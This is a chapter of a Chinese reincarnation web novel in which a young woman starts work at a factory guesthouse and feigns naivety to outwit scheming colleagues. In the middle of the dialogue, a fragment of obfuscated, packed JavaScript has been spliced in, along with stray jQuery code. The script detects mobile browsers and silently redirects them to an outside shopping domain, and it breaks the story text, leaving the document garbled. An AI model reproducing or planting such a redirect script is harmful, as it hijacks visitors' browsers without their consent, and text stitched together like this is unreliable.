“咱们招待所一共有二十二间客房。一楼十二间,其中六人间八个四人间四个;二楼双人间六个单间四个。”年轻的姑娘引着刘思敏沿着台阶往楼上走,姑娘二十二三,叫金立秋,穿着靛蓝的翻领工装,胸口的口袋上印着‘冶金厂招待所’,下身是同色的裤子。
招待所制式的工装,和刘思敏穿的一样,却也不一样,腰身改过,向内收腰两寸;裤子也收了裤腿,改成了喇叭裤。即便里面套着毛衣毛裤仍旧能看出婀娜的身姿。她手指虚扶着楼梯扶手,脸上戴着得体笑容,边款款上楼,边介绍着招待所的情况。
从姿态到语气都带着城里姑娘的优越感。刘思敏并没说话,只是安静地听着。
招待所职工一共十二人。所长楚玉梅,库房管理员王桂兰,厨子何师傅,学徒楚二柱,洗衣房杂工刘大妈,更夫秦叔,剩下六人都是服务员。轮班干收拾客房、布草、前台的工作。
刘思敏跟着金立秋挨个空着的客房查过去,检查备品,水壶、毛巾等设施是否完好。
“二楼是给领导住的,平时住的人不多,但是要定期检查。特别是单人间,住进来的就都是大领导。”
刘思敏点点头,有两间住了人,金立秋打开一间空房带刘思敏进去:“单人间好吧。这里边暖气片都比楼下多一组。”
刘思敏伸手摸了一下暖气片,金立秋说:“还没到时候呢,冶金厂和整个京北同步,11月15号正式供暖。到时候你就知道了,哎呀!我都不愿意回家,特别暖和。”
两人又到了水房,之后来到库房。位于一楼边上的库房不小,架子上整齐摆放的是新布草,床单、枕套、枕巾、茶几巾、毛巾、搪瓷杯、热水瓶……里面摆着几个筐,装着新鲜的大白菜、大葱,墙上挂着不少干菜,再往里堆着扫帚、劳保工装、手套、雨靴等。
库房门口是一个小房间,摆着一张桌子,里面有一张简易的行军床。
王桂兰四十多岁,齐肩短发,耳后两侧别着钢丝发夹,修整得干净利落。她正坐在桌边织毛衣。看见刘思敏过来,脸上立刻挂上和煦的微笑:“你就是思敏吧!长得真好,比你姐还俊。”
金立秋长相中等,在普通人里不算出挑,她在刘思敏这个村姑面前带着优越感,听王桂兰这么说,垂着眼皮扫了一眼刘思敏,几不可见地撇了撇嘴。
刘思敏装作没看见,仿佛因为金立秋这个城里姑娘展现的大方,有些自卑的情绪终于因为一句诚心的夸赞重新找到自信。
她双手绞着两条辫子,有些扭捏地说:“村里人也都这么说。”
金立秋的脸一下子耷拉下来,侧身甩了一下搭在前面的大辫子,翻了个白眼。王桂兰看见金立秋故意甩了一下编成一根的麻花辫,发尾粉色手绢在空中划出一个弧度,像一只漂亮的蝴蝶,显然故意气刘思敏,说她土气。
她有些好笑地看向刘思敏,眼里全是对两个年轻姑娘较劲的无奈和笑意。
刘思敏前世听到最多的就是二姐骂这个王桂兰,对她的评价可谓一针见血——笑面虎。
这人最是佛口蛇心。招待所里人不多,因为她的搅和愣是分了三派。
楚玉梅派系,王桂兰派系,中立派。
原本新来且中立的二姐,因为送礼的风波被王桂兰划为楚玉梅派。日常主要被针对的对象。
刘思敏见王桂兰织毛衣,凑过去热情地说:“王姨,您是给儿子织毛衣吗?我也会织,有空我帮您吧。”
王桂兰的确是给儿子织的,她引以为傲的儿子,今年十九岁,在京北上大学,招待所甚至冶金厂不少人都打听她儿子有没有谈对象,要给介绍。
她看谁都像是癞蛤蟆,想咬一口她儿子这只白天鹅似的。
这次她很真诚地说:“不用,也不着急穿。元旦晚会,他要当主持人才用呢,我慢慢织,俩袖我都织完了。”
她儿子这么优秀,肯定是刘思慧想借着替班的名义,觊觎他优秀的好大儿。
忒不要脸了,京北的高才生,岂是你个村姑可以肖想的。
刘思敏不死心,凑过去讨好道:“您这针脚真是细密,织得也太好了。这件红毛衣真亮啊,您儿子穿上肯定精神。”
金立秋都傻眼了,这个村姑脸皮也太厚了!王桂兰都说人家儿子是大学生,在学校还当主持人,这么优秀的青年,你一个村姑都敢献殷勤,心里没数吗?她都不敢想的人,刘思敏是真敢啊!
王桂兰眉头皱紧,被刘思敏拿在手里的毛衣都觉得是冒犯,拽了回去,扔进桌上的笸箩里,语气有些生硬:“瞎织的。”
“哎呀,王姨您也太谦虚了,织这么好还这么谦虚。”刘思敏恋恋不舍地看着红毛衣,“您有空教教我呗,将来我有对象了,也给他织一件。”
说着脸都红了起来。
王桂兰刚才就觉得刘思敏对她的称呼不舒服,她才42岁,就算真能当刘思敏的妈在单位这么叫也不行,“你还是跟小金他们一样,叫我王大姐吧。”
“那多不好哇!差着辈儿呢,显得不尊重。”刘思敏如是说。
王桂兰更不高兴了,看来真是奔着她儿子来的,后悔跟刘思慧他们显摆了,真不应该给她们看她儿子照片。
刘思敏仿佛没看见王桂兰黑的脸色,讨好地说:“王姨,您有啥事就跟我招呼,有啥东西拿不了的我帮您送家去。要是有事我帮您值夜班都行。不用给我钱也不用和我串班。听说您家住的四合院,得空去您家串门吃顿便饭就行。”
金立秋张大了嘴,惊得都说不上话了。刚才她以为刘思敏不说话是个心里有成算的,没想到,是个虎妞!
王桂兰脸色沉了下来:“说了让你和大家伙一起叫我王大姐。我没啥忙让你帮的,也不用你帮我值夜班,你们俩去忙吧。上班时间不要闲聊,我要库房盘点了。”
刘思敏被王桂兰忽然的变脸吓一跳:“王……大姐。我也没说啥啊,您咋生气了呢。”
金立秋这才反应过来,憋着笑,拉着刘思敏就走:“王大姐没生气,这不是说了要盘点吗?”
刘思敏扭头问:“王大姐,您真没生气?”
面子还是要做的,王桂兰:“是,该干活了,你们也回岗位吧。”
刘思敏被金立秋攥着胳膊,有些疼,一扭甩开了,挎上金立秋的胳膊:“金姐你真好,你是我在城里第一个朋友。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792398|210438||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>金立秋想把胳膊拽出来,她可不想有个村姑朋友。刘思敏抱得更紧了,“旁边那家国营饭店,都有啥好吃的菜啊?”
“国营饭店?”
“嗯呐,我还没吃过城里的大馆子呢。”
金立秋来了精神,她知道刘思慧不是普通庄户人家的姑娘,父兄都有工资,还有地,说不定日子比城里过得还好些。
难道这个虎妞这个虎劲儿是家里给惯出来的,刘思敏为了拉拢她,是不是要请她吃饭啊!
“那可多了去了。糖醋萝卜丝、酱猪耳朵、猪头肉、凉拌牛肉、红烧豆腐、五香花生米……”
刘思敏眼睛都亮了:“那金姐,你晚上有别的事吗?”
金立秋立刻说:“我没什么事。”
“太好了!”刘思敏一拍大腿,“金姐,我今天第一天来就赶上夜班,登记表咋写我也不会啊!”
“上回你有事不是让我二姐帮你值夜班了吗?你也不用给我钱,正好今晚咱们串个班。你是我来招待所交到的第一个朋友,上个月替班两天,大上个月替班三天的钱你也不用给我了,回去我和我二姐说,你要给钱,给了这个钱也不能要。”
啊!给钱!金立秋愣了,这个刘思敏怎么和刘思慧一点都不一样,谁帮忙替班还给钱啊!
刘思敏继续说:“以后你要是有事也找我替班,咱们就串换着来。我到京北还没出去逛过呢,我愿意给你替夜班,这样白天我能出去逛街。你说我好不好吧?正好今天晚上我去旁边国营饭店看看城里人是怎么点菜的。”
有同事从客房收拾布草出来,正撞见俩人挎着胳膊往出走,听见刘思敏的话,忍着笑,有点看好戏的样子。
金立秋真想把刘思敏的嘴给捏上,叭叭叭地,显着你会说话了。
她是找了刘思慧帮忙替了几次夜班,人家正主都没说什么,你一个农村来的虎妞妹妹出什么头。
她把刘思敏推到前台,拿出登记表:“你先看着,熟悉熟悉。我得去客房收拾布草了。”又一甩辫子走了。
刘思敏仿若未觉:“金姐,你先忙。这个表我慢慢看,今晚值班不是有你吗?”
说完不再理金立秋,捧着脸,舔着嘴唇在那自言自语:“猪头肉、猪耳朵、牛肉……”吸溜!
金立秋都快气疯了。
好你个刘思敏,刚才就跟我装疯卖傻,上来就得罪人是吧!
刘思敏看着金立秋恨恨的背影,也收起痴呆的表情。
她知道,王桂兰和金立秋自然不会觉得她真傻,是不是真傻不重要,让她们知道刘思慧不是好欺负的,有个能给她出头的二彪子妹妹就行。
她自然知道不应该刚来就交恶,但是早上签到点名的时候,她将六个服务员挨个分析了一遍。那几个人都是已婚,工作十来年,这样的资历,是不会被王桂兰拿捏,顶着得罪楚玉梅的风险,帮忙写举报信的。
年轻的就是二姐和金立秋,她记得前世二姐提起过楚玉梅被举报不久后,一个同事被调去了洗衣房。
之后二姐闲聊常提到的人里没有姓金的。帮王桂兰写举报信的人该就是她了。
所以,得罪仇人,怎么算得罪呢。